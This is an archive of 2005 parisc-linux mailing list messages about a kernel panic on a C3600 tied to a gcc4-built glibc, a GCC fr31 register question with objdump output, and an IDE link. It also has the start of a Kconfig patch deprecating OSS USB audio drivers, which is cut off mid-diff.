Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623888 16315 80.91.229.3 (22 Nov 2014 02:38:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:08 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Aug 2005 14:23:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 12 Aug 2005 16:23:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 89CD67D66B;
	Fri, 12 Aug 2005 08:23:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08015-10; Fri, 12 Aug 2005 08:23:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E39AD7D66C;
	Fri, 12 Aug 2005 08:23:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E36107D667
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 08:22:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08015-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 08:22:53 -0600 (MDT)
Original-Received: from fmmailgate05.web.de (fmmailgate05.web.de [217.72.192.243])
	by free.linux.hp.com (Postfix) with ESMTP id 0EA1F7D665
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 08:22:52 -0600 (MDT)
Original-Received: by fmmailgate05.web.de (8.12.10/8.12.10/webde Linux 0.7) with SMTP
	id j7CEMmSO016382 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 16:22:51 +0200
Original-Received: from [195.135.221.2] by freemailng0804.web.de with HTTP;
	Fri, 12 Aug 2005 16:22:50 +0200
Precedence: fm-user
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ndWOYgRZeSEkYL6WZHQhaXN1IGRvb4Ct
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23045


Hi,

when trying to setup a chroot system for compiling packages, my C3600 just=
 crashes with=20

Kernel panic - not syncing: BUG!

when I try to use the SysRq, I just do not get any output:

SysRq : HELP : loglevel0-8 reBoot tErm Full kIll saK showMem Nice showPc u=
nRa
w Sync showTasks Unmount=20
SysRq : Show State
SysRq : Show Memory
SysRq : Show Regs
SysRq : Resetting

What i do then, is reboot and check the pim info: All fields are just 0.
The problem seems to be related to a newly compiled glibc (glibc from CVS,=
 built with gcc4 (gcc version 4.0.2 20050720)) that I want to use in the c=
hroot system. I already upgraded the kernel to kernel 2.6.13-rc6-pa1 (comp=
iled with gcc version 3.3.5).

Does anyone have a hint, how I possibly could get some more information ab=
out this problem=3F=20


Thanks

Berthold
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F
Mit der Gruppen-SMS von WEB.DE FreeMail k=F6nnen Sie eine SMS an alle=20
Freunde gleichzeitig schicken: http://freemail.web.de/features/=3Fmc=3D021179



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:[parisc-linux] crash without pim info
Date: Fri, 12 Aug 2005 17:56:19 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <IL49LV$B7B9D6A0708F34916FC37BB7E17057B0@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623888 16321 80.91.229.3 (22 Nov 2014 02:38:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:08 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "b.gunreben" <b.gunreben@web.de>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Aug 2005 15:56:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 12 Aug 2005 17:56:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 503E77D66F;
	Fri, 12 Aug 2005 09:56:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08762-06; Fri, 12 Aug 2005 09:56:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 43F8B7D673;
	Fri, 12 Aug 2005 09:56:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C9AB7D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 09:56:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08762-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 09:56:21 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 6A8EA7D66C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 09:56:21 -0600 (MDT)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by guri.is.scarlet.be  with ESMTP id j7CFuI230243; 
	Fri, 12 Aug 2005 17:56:18 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5aOOYmZseSEkTb6WZHQhaXN1IGRvbwAY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23046

> 
> Hi,
> 
> when trying to setup a chroot system for compiling packages, my C3600 j=
ust
crashes with 
> 
> Kernel panic - not syncing: BUG!
> 
> when I try to use the SysRq, I just do not get any output:
> 
> SysRq : HELP : loglevel0-8 reBoot tErm Full kIll saK showMem Nice showP=
c unRa
> w Sync showTasks Unmount 
> SysRq : Show State
> SysRq : Show Memory
> SysRq : Show Regs
> SysRq : Resetting
> 
Sorry no clue about SysRq...

> What i do then, is reboot and check the pim info: All fields are just 0=
.
Afaik piminfo fields are only fill in when a hpmc (High Priority Machine
Check) occures (on hpux generaly when an unexpected hw failure occures) o=
r you
 trigger a TOC (Transfer Of Control). So all zero would just mean that no=
 hpmc
occures.

> The problem seems to be related to a newly compiled glibc (glibc from C=
VS,
built with gcc4 (gcc version 4.0.2 20050720))
Yes it seems to be confirmed (eventhought with a kernel 2.6.11 it works
without pb???)

> that I want to use in the chroot system. I already upgraded the kernel =
to
kernel 2.6.13-rc6-pa1 (compiled with gcc version 3.3.5).
> 
> Does anyone have a hint, how I possibly could get some more information=

about this problem? 
> 
No idea, sorry?

Joel=0A=0A---------------------------------------------------------------=
=0AA free anti-spam and anti-virus filter on all Scarlet mailboxes=0AMore=
 info on http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: GCC not disabling the use fr31 even with
	-mdisable-fpregs.
Date: Sun, 7 Aug 2005 20:52:22 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <200508080052.j780qMuI006934@hiauly1.hia.nrc.ca>
References: <20050807233503.GE9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623889 16323 80.91.229.3 (22 Nov 2014 02:38:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Aug 2005 00:52:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 08 Aug 2005 02:52:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C80EE7D6DD;
	Sun,  7 Aug 2005 18:52:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01382-06; Sun, 7 Aug 2005 18:52:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 354357D6E7;
	Sun,  7 Aug 2005 18:52:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 91B0F7D684
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Aug 2005 18:52:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01363-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Aug 2005 18:52:24 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id EE67C7D683
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Aug 2005 18:52:23 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j780qMnV006935; Sun, 7 Aug 2005 20:52:23 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j780qMuI006934;
	Sun, 7 Aug 2005 20:52:22 -0400 (EDT)
In-Reply-To: <20050807233503.GE9703@systemhalted.org> from "Carlos O'Donell"
	at Aug 7, 2005 07:35:08 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hcmEYtRHeSEkdL6WZHQhaXN1IGRvbwAF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23047

> .o file can be found at:
> www.baldric.uwo.ca/~carlos/sched.o
> 
> carlos@firin:~/fsrc/linux-2.6-exp/linux-2.6$ hppa64-linux-gnu-objdump -d
> kernel/sched.o | grep fr31R
>      600:       5c df 00 9a     fldw 4c(r6),fr31R
>     29d8:       5c df 24 8a     fldw 1244(r6),fr31R
>     29fc:       5c df 24 8a     fldw 1244(r6),fr31R
>     2a50:       5c df 24 8a     fldw 1244(r6),fr31R
>     2a74:       5c df 24 8a     fldw 1244(r6),fr31R
>   4c:   5f 5f 00 22     fldw 10(r26),fr31R
>  130:   5c 3f 00 9a     fldw 4c(r1),fr31R
> carlos@firin:~/fsrc/linux-2.6-exp/linux-2.6$ 

Need preproccessed source and .s output.

> I think that objdump should not produce fr31R if it's dumping 2.0w code.

To my eye, objdump is doing the right thing.  The difference between
narrow and wide only comes in the interpretation of the space register
bits.  They are zero in the above instructions.

There must be another bug that's setting the R bit.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: [PATCH] IDE: don't offer IDE_GENERIC on ia64
Date: Fri, 12 Aug 2005 12:10:52 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20050812181052.GB32609@colo.lackof.org>
References: <20050811202645.GA14400@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623889 16325 80.91.229.3 (22 Nov 2014 02:38:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Aug 2005 18:05:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 12 Aug 2005 20:05:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BFDAB7D683;
	Fri, 12 Aug 2005 12:05:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09576-02; Fri, 12 Aug 2005 12:05:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 87C147D67C;
	Fri, 12 Aug 2005 12:05:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 891F57D678
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 12:05:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09302-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 12:05:35 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id F39BC7D676
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 12:05:34 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id DB9B1360066;
	Fri, 12 Aug 2005 12:10:55 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00884-02; Fri, 12 Aug 2005 12:10:52 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 86263360064; Fri, 12 Aug 2005 12:10:52 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050811202645.GA14400@roadwarrior.mcmartin.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: r4GOYsxteSEkWL6WZHQhaXN1IGRvbwAa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23048

On Thu, Aug 11, 2005 at 04:26:45PM -0400, Kyle McMartin wrote:
> Looks like a good idea for us too.

Yes - but see the followup from Alan Cox:
http://www.uwsg.indiana.edu/hypermail/linux/kernel/0508.1/1412.html

original thread starts here:
http://www.uwsg.indiana.edu/hypermail/linux/kernel/0508.1/1264.html

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lee Revell <rlrevell@joe-job.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [2.6 patch] schedule obsolete OSS drivers for
	removal (version 2)
Date: Fri, 12 Aug 2005 15:58:48 -0400
Lines: 68
Approved: news@gmane.org
Message-ID: <1123876729.12680.45.camel__30754.4420393699$1416623889$gmane$org@mindpipe>
References: <20050729153226.GE3563@stusta.de>
	<1123607633.5601.7.camel@mindpipe>  <20050809174906.GA4006@stusta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623889 16328 80.91.229.3 (22 Nov 2014 02:38:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:09 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 alsa-devel@alsa-project.org,
 zab@zabbo.net,
 Christoph Eckert <ce@christeck.de>,
 zaitcev@yahoo.com,
 kyle@parisc-linux.org,
 James@superbug.demon.co.uk,
 gregkh@suse.de,
 linux-kernel@vger.kernel.org,
 linux-sound@vger.kernel.org,
 sailer@ife.ee.ethz.ch,
 parisc-linux@lists.parisc-linux.org,
 perex@suse.cz,
 Thorsten Knabe <linux@thorsten-knabe.de>,
 NAGANO Daisuke <breeze.nagano@nifty.ne.jp>,
 jgarzik@pobox.com,
 linux-usb-devel@lists.sourceforge.net
To: Adrian Bunk <bunk@stusta.de>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Aug 2005 19:59:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 12 Aug 2005 21:59:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 29AB07D67A;
	Fri, 12 Aug 2005 13:58:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09567-10; Fri, 12 Aug 2005 13:58:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C4527D67C;
	Fri, 12 Aug 2005 13:58:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 608397D678
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 13:58:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09567-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 13:58:51 -0600 (MDT)
Original-Received: from mustang.oldcity.dca.net (mustang.oldcity.dca.net [216.158.38.3])
	by free.linux.hp.com (Postfix) with SMTP id ADC8C7D64E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Aug 2005 13:58:51 -0600 (MDT)
Original-Received: (qmail 26541 invoked from network); 12 Aug 2005 19:58:50 -0000
Original-Received: from unknown (HELO ?192.168.1.47?) (68.238.183.84)
	by mustang with SMTP; 12 Aug 2005 19:58:50 -0000
In-Reply-To: <20050809174906.GA4006@stusta.de>
X-Mailer: Evolution 2.3.7 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0pqOYiYZeSEkOr6WZHQhaXN1IGRvb4Ds
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23049

On Tue, 2005-08-09 at 19:49 +0200, Adrian Bunk wrote:
> On Tue, Aug 09, 2005 at 01:13:51PM -0400, Lee Revell wrote:
> > On Fri, 2005-07-29 at 17:32 +0200, Adrian Bunk wrote:
> > > This patch schedules obsolete OSS drivers (with ALSA drivers that 
> > > support the same hardware) for removal.
> > > 
> > > Scheduling the via82cxxx driver for removal was ACK'ed by Jeff Garzik.
> > > 
> > 
> > Someone on linux-audio-user just pointed out that the OSS USB audio and
> > midi modules were never deprecated, much less scheduled to be removed.
> > 
> > Maybe the best way to deprecate them is to move them to Sound -> OSS,
> > that's where they belong anyway.
> 
> I'd deprecate them without moving them.
> 

Here's the patch.  The bug was that CONFIG_USB_AUDIO and CONFIG_USB_MIDI
need to depend on CONFIG_SOUND_PRIME.

It also fixes some typos and clarifies the help text.

Signed-Off-By: Lee Revell <rlrevell@joe-job.com>

--- linux-2.6.13-rc4/drivers/usb/class/Kconfig~	2005-08-12 15:54:36.000000000 -0400
+++ linux-2.6.13-rc4/drivers/usb/class/Kconfig	2005-08-12 15:57:38.000000000 -0400
@@ -5,12 +5,12 @@
 	depends on USB
 
 config USB_AUDIO
-	tristate "USB Audio support"
-	depends on USB && SOUND
+	tristate "USB Audio support (OSS)"
